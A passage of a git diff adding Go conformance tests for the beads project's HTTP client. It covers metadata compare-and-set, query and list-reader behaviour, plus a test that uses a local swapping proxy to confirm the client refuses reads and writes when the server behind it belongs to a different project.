All three +// of those run one body (internal/storage/issueops.CompareAndSetMetadataKeyInTx) +// through different transaction wrappers, so the tier is "one reading plus two +// wrapper checks" by its own header note. This leg adds a fourth wrapper that is +// a NETWORK: the request is serialized, the absent-versus-null distinction on +// three members has to survive a JSON round trip in both directions, and the +// verdict comes back inside a 200. Those are exactly the states the contract's +// cases are built to separate, and none of the in-tree legs can lose them. + +func newServedMetadataCASFixture(t *testing.T, prefix string) conformance.MetadataCASFixture { + t.Helper() + env := newServedEnv(t, prefix) + cas, err := env.subject.MetadataCAS() + if err != nil { + t.Fatalf("MetadataCAS(): %v", err) + } + return conformance.MetadataCASFixture{ + IssuePrefix: env.prefix, + MetadataCAS: cas, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + QueryScalar: env.queryScalar, + CountHistory: env.countHistory, + CommitPending: env.commitPending, + } +} + +// The transition, stated as a pair: nil on either side means the key is ABSENT +// there, so a first-writer-wins acquire is (nil → value) and a release is +// (value → nil). + +func TestServedMetadataCASCreatesAKeyThatWasAbsent(t *testing.T) { + conformance.RunMetadataCASCreatesAKeyThatWasAbsent(t, t.Context(), newServedMetadataCASFixture(t, "hmc1")) +} + +func TestServedMetadataCASRefusesASecondCreateAndReportsTheHolder(t *testing.T) { + conformance.RunMetadataCASRefusesASecondCreateAndReportsTheHolder(t, t.Context(), newServedMetadataCASFixture(t, "hmc2")) +} + +func TestServedMetadataCASSwapsOnAMatchAndReportsTheNewValue(t *testing.T) { + conformance.RunMetadataCASSwapsOnAMatchAndReportsTheNewValue(t, t.Context(), newServedMetadataCASFixture(t, "hmc3")) +} + +// TestServedMetadataCASRefusalReportsTheCurrentValueAndWritesNothing is the case +// this seam could most easily have got wrong: a lost race is a 200, so a client +// that classified the answer by status code would report it as a won swap. +func TestServedMetadataCASRefusalReportsTheCurrentValueAndWritesNothing(t *testing.T) { + conformance.RunMetadataCASRefusalReportsTheCurrentValueAndWritesNothing(t, t.Context(), newServedMetadataCASFixture(t, "hmc4")) +} + +func TestServedMetadataCASComparesCanonically(t *testing.T) { + conformance.RunMetadataCASComparesCanonically(t, t.Context(), newServedMetadataCASFixture(t, "hmc5")) +} + +// TestServedMetadataCASReportsTheValueTheRowHolds is the loop's convergence +// clause: Current is read from the ROW rather than echoed from the request, so a +// caller that feeds it back as the next Expected converges even where the store +// renormalized what it wrote. +func TestServedMetadataCASReportsTheValueTheRowHolds(t *testing.T) { + conformance.RunMetadataCASReportsTheValueTheRowHolds(t, t.Context(), newServedMetadataCASFixture(t, "hmc6")) +} + +// TestServedMetadataCASDistinguishesAnAbsentKeyFromAStoredNull is the one the +// WIRE makes hard, and the reason the response's `current` is a bare +// json.RawMessage rather than a pointer: encoding/json answers a JSON null +// against a pointer by setting it nil before any UnmarshalJSON runs, so a +// present null and an omitted member would decode identically. They mean +// opposite things here, and a retry loop that confused them would swap with +// `expected` omitted, mismatch, and never converge — a livelock on a stream of +// 200s. +func TestServedMetadataCASDistinguishesAnAbsentKeyFromAStoredNull(t *testing.T) { + conformance.RunMetadataCASDistinguishesAnAbsentKeyFromAStoredNull(t, t.Context(), newServedMetadataCASFixture(t, "hmc7")) +} + +func TestServedMetadataCASRemovesTheKeyWhenTheValueIsAbsent(t *testing.T) { + conformance.RunMetadataCASRemovesTheKeyWhenTheValueIsAbsent(t, t.Context(), newServedMetadataCASFixture(t, "hmc8")) +} + +func TestServedMetadataCASPreservesSiblingKeys(t *testing.T) { + conformance.RunMetadataCASPreservesSiblingKeys(t, t.Context(), newServedMetadataCASFixture(t, "hmc9")) +} + +func TestServedMetadataCASNoOpSwapWritesNothing(t *testing.T) { + conformance.RunMetadataCASNoOpSwapWritesNothing(t, t.Context(), newServedMetadataCASFixture(t, "hmca")) +} + +// The refusals. Both arrive as the sentinel a local backend returns for the same +// refusal: the 404 for an id on neither plane, and the 400 for a request the +// role's own rules reject. + +func TestServedMetadataCASRefusesAnIDOnNeitherPlane(t *testing.T) { + conformance.RunMetadataCASRefusesAnIDOnNeitherPlane(t, t.Context(), newServedMetadataCASFixture(t, "hmcb")) +} + +func TestServedMetadataCASRefusesAnUnusableRequest(t *testing.T) { + conformance.RunMetadataCASRefusesAnUnusableRequest(t, t.Context(), newServedMetadataCASFixture(t, "hmcc")) +} + +// The planes and the version-control clauses. + +func TestServedMetadataCASResolvesAWispAnchor(t *testing.T) { + conformance.RunMetadataCASResolvesAWispAnchor(t, t.Context(), newServedMetadataCASFixture(t, "hmcd")) +} + +func TestServedMetadataCASAWispSwapRecordsNoDurableHistory(t *testing.T) { + conformance.RunMetadataCASAWispSwapRecordsNoDurableHistory(t, t.Context(), newServedMetadataCASFixture(t, "hmce")) +} + +func TestServedMetadataCASRecordsExactlyOneHistoryEntry(t *testing.T) { + conformance.RunMetadataCASRecordsExactlyOneHistoryEntry(t, t.Context(), newServedMetadataCASFixture(t, "hmcf")) +} + +// TestServedMetadataCASHistoryEntryNamesTheActor is why Actor is required on +// this request and why this client refuses an empty one before dialing: a swap +// is a coordination write between racing callers, and the one question asked of +// its trace afterwards is which of them won. No result member carries the actor, +// so every other case here would pass with it dropped between the client and the +// row. +func TestServedMetadataCASHistoryEntryNamesTheActor(t *testing.T) { + conformance.RunMetadataCASHistoryEntryNamesTheActor(t, t.Context(), newServedMetadataCASFixture(t, "hmcg")) +} + +func TestServedMetadataCASARefusedSwapRecordsNoHistory(t *testing.T) { + conformance.RunMetadataCASARefusedSwapRecordsNoHistory(t, t.Context(), newServedMetadataCASFixture(t, "hmch")) +} + +func TestServedMetadataCASDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunMetadataCASDoesNotMutateTheCallerRequest(t, t.Context(), newServedMetadataCASFixture(t, "hmci")) +} diff --git a/internal/httpclient/served_project_swap_test.go b/internal/httpclient/served_project_swap_test.go new file mode 100644 index 000000000..9536390dc --- /dev/null +++ b/internal/httpclient/served_project_swap_test.go @@ -0,0 +1,218 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_project_swap_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "errors" + "io" + "net/http" + "net/http/httptest" + "net/url" + "sync/atomic" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpapi" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// serveOneProject boots a reference store, seeds one open claimable row, and +// serves all sixteen roles under a chosen project id. It returns the bound base +// URL and the reference store, so a post-swap assertion can prove B's row went +// untouched. It reuses serveConfig for the role wiring and overrides only the +// published identity. +func serveOneProject(t *testing.T, projectID, prefix, issueID string) (*url.URL, *embeddeddolt.EmbeddedDoltStore) { + t.Helper() + ctx := context.Background() + beadsDir := t.TempDir() + ref, err := embeddeddolt.Open(ctx, beadsDir, servedDatabase, "main") + if err != nil { + t.Fatalf("open reference store for %s: %v", projectID, err) + } + t.Cleanup(func() { _ = ref.Close() }) + if err := ref.SetConfig(ctx, "issue_prefix", prefix); err != nil { + t.Fatalf("set the issue prefix for %s: %v", projectID, err) + } + issue := &types.Issue{ID: issueID, Title: issueID, Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := ref.CreateIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s on %s: %v", issueID, projectID, err) + } + + cfg := serveConfig(t, ref) + cfg.Workspace = domain.ContextInfo{ProjectID: projectID, Database: servedDatabase} + srv, err := httpapi.Listen(cfg) + if err != nil { + t.Fatalf("bind the server for %s: %v", projectID, err) + } + serveCtx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(30 * time.Second): + t.Errorf("the in-process server for %s did not shut down", projectID) + } + }) + + base, err := url.Parse("http://" + srv.Addr()) + if err != nil { + t.Fatalf("parse the bound address for %s: %v", projectID, err) + } + return base, ref +} + +// TestServedReadsAndWritesRefuseAfterAPostHandshakeServerSwap is the headline of +// ga-b8ddd.12's client half. Two servers sit behind one reverse proxy with an +// atomically-swappable target: server A owns the workspace's project, server B a +// different one. The client connects and handshakes against A — caching A's +// identity, which matches its pin — and is then swapped, transparently, onto B. +// +// Before the stamp, the swap was a SILENT wrong-server: the cached handshake made +// the client believe it was still talking to A, and the next baseline read would +// have rendered B's rows. With the per-request stamp, the NEXT read AND a write +// both carry the pinned id, so B refuses each with the typed project-mismatch +// diagnostic before it answers — the swap is caught, not papered over. +func TestServedReadsAndWritesRefuseAfterAPostHandshakeServerSwap(t *testing.T) { + skipUnlessEmbeddedDolt(t) + + const projA = "proj-A-the-workspace-owner" + const projB = "proj-B-a-different-workspace" + const target = "swap-1" + ctx := t.Context() + + baseA, _ := serveOneProject(t, projA, "swap", target) + baseB, refB := serveOneProject(t, projB, "swap", target) + + // The atomically-swappable target the proxy forwards to. A pointer swap is the + // whole mechanism: the client's connection to the proxy never changes, so from + // the client's side the identity under it changed with nothing else. + var backend atomic.Pointer[url.URL] + backend.Store(baseA) + + transport := http.DefaultTransport + proxy := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + to := backend.Load() + out := r.Clone(r.Context()) + // A cloned server request cannot be used as a client request until its + // RequestURI is cleared; the scheme and host are the only fields that route + // it to the current backend. + out.RequestURI = "" + out.URL.Scheme = to.Scheme + out.URL.Host = to.Host + + // The proxy DELIBERATELY does NOT rewrite Host. r.Clone preserves the + // inbound Host — the proxy's own loopback authority — and it is left that + // way on purpose: the served host gate admits it because it strips the port + // and sees a loopback host, so the request clears the gate and REACHES the + // stamp check. A future "fix" that set out.Host = to.Host would make the + // forwarded request indistinguishable from one aimed straight at B, and a + // wrong Host would be turned away by the host gate (a DIFFERENT 400 that + // carries no server_project_id) before the stamp ran — the assertions below + // would then pass for the wrong reason, or fail. Leave out.Host untouched. + + resp, err := transport.RoundTrip(out) + if err != nil { + http.Error(w, err.Error(), http.StatusBadGateway) + return + } + defer func() { _ = resp.Body.Close() }() + for k, vs := range resp.Header { + for _, v := range vs { + w.Header().Add(k, v) + } + } + w.WriteHeader(resp.StatusCode) + _, _ = io.Copy(w, resp.Body) + })) + t.Cleanup(proxy.Close) + + base, err := url.Parse(proxy.URL) + if err != nil { + t.Fatalf("parse the proxy URL: %v", err) + } + client, err := wire.New(base, nil, wire.Options{ExpectProjectID: projA}) + if err != nil { + t.Fatalf("build the client: %v", err) + } + subject := New(Target{BaseURL: base}, client, nil) + + reader, err := subject.IssueReader() + if err != nil { + t.Fatalf("IssueReader(): %v", err) + } + claimer, err := subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + // Connect + handshake against A: this caches A's identity, and it matches the + // pin, so the client is now (correctly) convinced it is talking to its own + // workspace. A baseline read against A must also succeed, so the post-swap + // refusal below is unambiguously the swap's doing and not a client that refuses + // everything. + snap, err := client.ServerContext(ctx) + if err != nil { + t.Fatalf("handshake against A: %v", err) + } + if snap.ProjectId != projA { + t.Fatalf("handshake cached project %q, want A's %q", snap.ProjectId, projA) + } + if _, err := reader.List(ctx, issueops.ListRequest{}); err != nil { + t.Fatalf("a read against the matching server A failed before the swap: %v", err) + } + + // The swap. Nothing about the client or its cached handshake changes; only the + // server on the other end of the proxy does. + backend.Store(baseB) + + // The NEXT read refuses with the typed mismatch — not a silent page of B's rows. + if _, err := reader.List(ctx, issueops.ListRequest{}); !errors.Is(err, wire.ErrProjectMismatch) { + t.Fatalf("the post-swap read returned %v, want a wire.ErrProjectMismatch refusal", err) + } else { + assertSwapMismatch(t, err, projA, projB) + } + + // And a write refuses the same way, before it can mutate B. + _, claimErr := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: target}) + if !errors.Is(claimErr, wire.ErrProjectMismatch) { + t.Fatalf("the post-swap claim returned %v, want a wire.ErrProjectMismatch refusal", claimErr) + } + assertSwapMismatch(t, claimErr, projA, projB) + + // The write refused before it dispatched: B's row is exactly as seeded, open + // and unclaimed. The server raises project_mismatch ahead of any unit of work, + // so a refused claim on B mutates nothing. + after, err := refB.GetIssue(ctx, target) + if err != nil { + t.Fatalf("re-read B's target row: %v", err) + } + if after.Status != types.StatusOpen || after.Assignee != "" { + t.Errorf("B's row = {status %q, assignee %q}, want it still open and unclaimed — the refused claim wrote", after.Status, after.Assignee) + } +} + +// assertSwapMismatch pins that the refusal is the wrong-server one, naming both +// ids — which is what tells the stamp check apart from a host-gate refusal. +func assertSwapMismatch(t *testing.T, err error, expected, serverOwns string) { + t.Helper() + var mismatch *wire.ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("error is %T (%v), want *wire.ProjectMismatchError", err, err) + } + if mismatch.Expected != expected { + t.Errorf("mismatch.Expected = %q, want the workspace's %q", mismatch.Expected, expected) + } + if mismatch.Got != serverOwns { + t.Errorf("mismatch.Got = %q, want the swapped-in server's %q", mismatch.Got, serverOwns) + } +} diff --git a/internal/httpclient/served_querier_test.go b/internal/httpclient/served_querier_test.go new file mode 100644 index 000000000..61f2ab1e4 --- /dev/null +++ b/internal/httpclient/served_querier_test.go @@ -0,0 +1,113 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_querier_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/issueops" +) + +// The Querier contract, run through the composition (design D8 row 5). +// +// Every case here runs but one: a QueryRequest carries a SENTENCE plus four +// page and order knobs, and queryIssues publishes a parameter for all of them +// except Offset, so there is no SCOPING field for the wire to refuse. That is +// close to the shape of a role the wire covers completely, and it is worth +// saying out loud beside the Reader wiring next door, where a refused scoping +// field is the rule rather than the exception. + +func servedQuerierFixture(t *testing.T, name string) conformance.QuerierFixture { + t.Helper() + c := composition(t) + f := c.fixture(t) + querier := bindRole(t, f, func(s *Store) (issueops.Querier, error) { return s.Querier() }) + return conformance.QuerierFixture{ + IssuePrefix: servedIssuePrefix + "-" + name, + Querier: querier, + CreateIssue: c.seedIssue, + CountHistory: c.countHistory, + } +} + +func TestServedQuerierDisjunctionAnswersEveryMatch(t *testing.T) { + conformance.RunQuerierDisjunctionAnswersEveryMatch(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierPageIsAPrefixAndHasMoreIsExact(t *testing.T) { + conformance.RunQuerierPageIsAPrefixAndHasMoreIsExact(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortBoundsThePageInOrder(t *testing.T) { + conformance.RunQuerierSortBoundsThePageInOrder(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +// The three ORDER cases beside it, and they are where this wire earns its +// keep: `sort` is a published parameter on queryIssues, so the order is the +// SERVER's own SQL rather than the page-to-exhaustion Go mirror `bd list` falls +// back to (L2). Each pins an ordering rule a re-implementation would get subtly +// wrong — the case fold before the cut, the unclosed rows at the far end of a +// closed sort, and the id tie-break in both directions. +func TestServedQuerierSortByTitleFoldsCaseBeforeItCutsThePage(t *testing.T) { + conformance.RunQuerierSortByTitleFoldsCaseBeforeItCutsThePage(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortByClosedPutsTheUnclosedRowsAtTheFarEnd(t *testing.T) { + conformance.RunQuerierSortByClosedPutsTheUnclosedRowsAtTheFarEnd(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortTieBreaksByIDInBothDirections(t *testing.T) { + conformance.RunQuerierSortTieBreaksByIDInBothDirections(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierSortSeesTheWholeMatchingSet(t *testing.T) { + conformance.RunQuerierSortSeesTheWholeMatchingSet(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierHidesClosedUnlessTheExpressionOrTheFlagSaysOtherwise(t *testing.T) { + conformance.RunQuerierHidesClosedUnlessTheExpressionOrTheFlagSaysOtherwise(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierRefusesAMalformedRequest(t *testing.T) { + conformance.RunQuerierRefusesAMalformedRequest(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +// TestServedQuerierOffsetSkipsMatches is the one parked Querier case, and it +// became one upstream rather than here: the contract used to accept "honored OR +// refused with a typed *ErrUnsupported" and now asserts the skip outright, on +// the ruling that a contract ratifying a split is not pinning semantics. +// +// This wire refuses. queryIssues publishes no offset parameter — deliberately, +// because the two database sources a bd serve can be built on disagree about +// whether they can honor one — so the client has nothing to send and refuses +// rather than answering an unskipped page the caller would read as skipped. +// TestTheRolesOwnPageRefusalsAreValidationNotCapability is where that refusal +// is asserted — as a typed *ErrUnsupported rather than a validation error, which +// is the distinction that makes it this backend's statement rather than the +// caller's mistake — so the park stands in for nothing. +func TestServedQuerierOffsetSkipsMatches(t *testing.T) { + skipKnownDivergence(t, "E-QueryRequest.Offset", readParkBead, + "queryIssues publishes no offset parameter and the client refuses a non-zero Offset; the case now "+ + "asserts the skip itself, which this wire cannot express") + conformance.RunQuerierOffsetSkipsMatches(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierEmptyMatchIsAWellFormedPage(t *testing.T) { + conformance.RunQuerierEmptyMatchIsAWellFormedPage(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +// TestServedQuerierWritesNothing reads the reference store's own commit log for +// its observable. The client cannot see history — v0 publishes no history +// surface — so a fixture that took CountHistory off the SUBJECT would skip, and +// a skipped case is exactly what this wiring is not allowed to produce. +func TestServedQuerierWritesNothing(t *testing.T) { + conformance.RunQuerierWritesNothing(t, t.Context(), servedQuerierFixture(t, "qry")) +} + +func TestServedQuerierDoesNotMutateTheCallerRequest(t *testing.T) { + conformance.RunQuerierDoesNotMutateTheCallerRequest(t, t.Context(), servedQuerierFixture(t, "qry")) +} diff --git a/internal/httpclient/served_reader_test.go b/internal/httpclient/served_reader_test.go new file mode 100644 index 000000000..696589a99 --- /dev/null +++ b/internal/httpclient/served_reader_test.go @@ -0,0 +1,441 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_reader_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The Reader contract, run through client → in-process bd serve → reference +// store (design D8 row 1). +// +// WHAT THIS WIRING PROVES that no unit test can: the request this client +// encoded is the request the SERVER's decoder rebuilt, the role behind it is +// the same shared body a local `bd list` runs, and the page that comes back +// survives the JSON round trip. The seed handles are the reference store's, so +// a filter this client dropped answers with rows no case seeded. +// +// WHAT IS PARKED, and it is one cause with many names: `ListRequest.IDFilter` +// is the scoping tool almost every List case reaches for, and listIssues +// publishes no id parameter (E-ListRequest.IDFilter). Refusing it is correct — +// dropping it would answer about the whole workspace — but a case that scopes +// itself with it cannot run over this wire at all. Each parked case names the +// field that refused, and the refusal ITSELF is asserted below in +// TestServedReaderRefusesTheFiltersTheWireCannotCarry, so the parking never +// stands in for an unpinned behaviour. + +// readParkBead is the bead every READ-side park cites, and it is a different +// constant from the write side's parkBead because it is a different decision +// with a different retirement. +// +// The write parks retire when the wire grows the members it deliberately +// withholds, or never. These retire when the wire grows a way to SCOPE a +// listing by id — the upstream ask D8 row 1 records alongside the `sort` +// parameter — at which point almost all of them go at once. Folding the two +// into one constant would have said they move together, which they do not. +const readParkBead = "ga-pcwtq" + +func servedReaderFixture(t *testing.T, name string) conformance.ReaderFixture { + t.Helper() + c := composition(t) + f := c.fixture(t) + reader := bindRole(t, f, func(s *Store) (issueops.Reader, error) { return s.IssueReader() }) + return conformance.ReaderFixture{ + IssuePrefix: servedIssuePrefix + "-" + name, + Reader: reader, + CreateIssue: c.seedIssue, + CreateWisp: c.seedIssue, + AddDependency: c.seedDependency, + AddComment: c.seedComment, + } +} + +func TestServedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType(t *testing.T) { + conformance.RunReaderReadyDefaultTypeExclusionsYieldToAnExplicitType(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyDeferredAndEphemeralGates(t *testing.T) { + conformance.RunReaderReadyDeferredAndEphemeralGates(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyLimitBoundary(t *testing.T) { + conformance.RunReaderReadyLimitBoundary(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadySortPoliciesOrderTheSameRows(t *testing.T) { + conformance.RunReaderReadySortPoliciesOrderTheSameRows(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The FOUR READY cases that scope themselves with a LABEL rather than an id +// set, which is the whole reason they run here while their List siblings park: +// `labels` is a published parameter on listReadyWork and `id` is a published +// parameter on nothing. +// +// What they add over the ready cases above is the PAGE as a promise about an +// unbounded answer — every bound is asserted to be a prefix of the limitless +// read, cardinalities included — and that is a stronger claim over this wire +// than locally. A page and its unbounded reference are two round trips through +// two encodings here, so a limit this client applied on the wrong side, or a +// hydration batch the server sized differently from its page, shows up as a +// prefix that is not one. + +func TestServedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded(t *testing.T) { + conformance.RunReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix drives +// a page wider than sqlbuild.QueryBatchSize, so the server's own hydration +// batching straddles the answer. The two rows it reads the cardinalities of are +// the last of the first batch and the first of the second. +func TestServedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix(t *testing.T) { + conformance.RunReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary is the +// merged-plane half: alternating durable and ephemeral rows, every Limit from +// inside the first run to past the end, and the cuts that land between a wisp +// and the durable row after it. +func TestServedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary(t *testing.T) { + conformance.RunReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadyParentScopesToItsTransitiveDescendants(t *testing.T) { + conformance.RunReaderReadyParentScopesToItsTransitiveDescendants(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListParentReachesEveryDescendantAndOnlyItsOwn is the LIST +// case that needs no id scope at all — `parent` is its scope, and listIssues +// publishes it — so it is the one member of the List family here that runs +// without a park beside it. +func TestServedReaderListParentReachesEveryDescendantAndOnlyItsOwn(t *testing.T) { + conformance.RunReaderListParentReachesEveryDescendantAndOnlyItsOwn(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "the case asserts the ready set through BOTH doors, and the List --ready door is the blocker-aware "+ + "query listIssues does not publish; the Ready door's half is covered by the ready cases above") + conformance.RunReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderOffsetSkipsTheRowsBeforeThePage(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the List arm scopes itself with IDFilter, which listIssues publishes no parameter for; the Offset "+ + "refusal this wire answers with instead is pinned by TestServedReaderRefusesTheFiltersTheWireCannotCarry") + conformance.RunReaderOffsetSkipsTheRowsBeforeThePage(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListDefaultExclusionsAndTheirOverrides(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "every arm scopes itself with IDFilter, and two of them additionally set PinnedFlag/NoPinnedFlag, "+ + "which listIssues publishes no parameters for") + conformance.RunReaderListDefaultExclusionsAndTheirOverrides(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListRejectsATypeOutsideTheWorkspaceVocabulary(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the built-in-type arm scopes itself with IDFilter; the vocabulary refusal itself is served (the "+ + "server validates against its own authoritative vocabulary, which is what heals L7 for this query)") + conformance.RunReaderListRejectsATypeOutsideTheWorkspaceVocabulary(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListNaturalNumericIDSortTrimsAfterTheFetch(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the natural-numeric order it pins is exercised over this wire "+ + "by TestServedReaderListAppliesTheClientSideDisplayOrder") + conformance.RunReaderListNaturalNumericIDSortTrimsAfterTheFetch(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListKeysetPositionResumesTheCreatedDescIDAscOrder(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the skip-forward walk it pins is exercised over this wire by "+ + "TestServedReaderListKeysetPositionSkipsForward, which is the same assertion under a label scope") + conformance.RunReaderListKeysetPositionResumesTheCreatedDescIDAscOrder(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListReadyFlagAnswersTheBlockerAwareSet(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "listIssues does not publish the blocker-aware query; the ready set reaches this client through "+ + "Reader.Ready, which listReadyWork serves") + conformance.RunReaderListReadyFlagAnswersTheBlockerAwareSet(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListReadyFlagRefusesAFilterItCannotCarry(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "the case asserts ErrValidation naming each dropped field, which is the ready ARM's refusal; over "+ + "this wire ReadyFlag itself refuses first, so the arm is never reached") + conformance.RunReaderListReadyFlagRefusesAFilterItCannotCarry(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListEmptyPageIsWellFormed(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the List arm scopes itself with IDFilter; the empty-page shape is pinned over this wire by "+ + "TestServedReaderListEmptyPageIsWellFormedUnderALabelScope") + conformance.RunReaderListEmptyPageIsWellFormed(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListMaxRowsIsHonored(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the cap it pins is honored over this wire and exercised by "+ + "TestServedReaderListMaxRowsBoundsWireRowsFetched") + conformance.RunReaderListMaxRowsIsHonored(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.SkipCounts", readParkBead, + "the knob is DROPPED rather than refused (the wire hydrates the three cardinalities either way, and "+ + "every text rendering of `bd list` sets it, so refusing would kill the default listing over http); "+ + "the case additionally scopes itself with IDFilter") + conformance.RunReaderListSkipCountsDropsTheCardinalitiesAndNothingElse(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the limit boundary under created order is pinned over this "+ + "wire by TestServedReaderListLimitBoundaryUnderALabelScope") + conformance.RunReaderListLimitBoundaryUnderASortTheDatabaseCanExpress(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +func TestServedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.ReadyFlag", readParkBead, + "listIssues does not publish the blocker-aware query") + conformance.RunReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// TestServedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder is the plane +// contract client wave ga-mijra brought into range, and it parks for the same +// reason every List case here parks: it scopes itself with IDFilter, which +// listIssues publishes no parameter for. +// +// The behavior it asserts is pinned by +// TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope, which is +// the same fixture — alternating planes, every Limit cut, the keyset walk — +// with the id scope swapped for a label one, plus the plane-identity assertion +// the contract does not make. +func TestServedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with ListRequest.IDFilter and listIssues publishes no id parameter; "+ + "the merged-plane order, the Limit cuts and the keyset walk are asserted under a label scope by "+ + "TestServedReaderListIncludeEphemeralMergesThePlanesUnderALabelScope") + conformance.RunReaderListIncludeEphemeralMergesThePlanesIntoOneOrder(t, t.Context(), servedReaderFixture(t, "rdr")) +} + +// The FIVE remaining List parks, each named so the wiring lock counts the +// contract as accounted for rather than merely absent, and each deleted in one +// line the day its row retires. +// +// Three of them park on the id scope alone, which is this family's one cause. +// The other two would park even under a label scope, because their SUBJECT is a +// member the wire refuses — so each names that member instead. + +func TestServedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge(t *testing.T) { + skipKnownDivergence(t, "E-ListRequest.IDFilter", readParkBead, + "the case scopes itself with IDFilter; the blocks-only rule it pins is exercised over this wire by "+ + "the cardinality assertions in 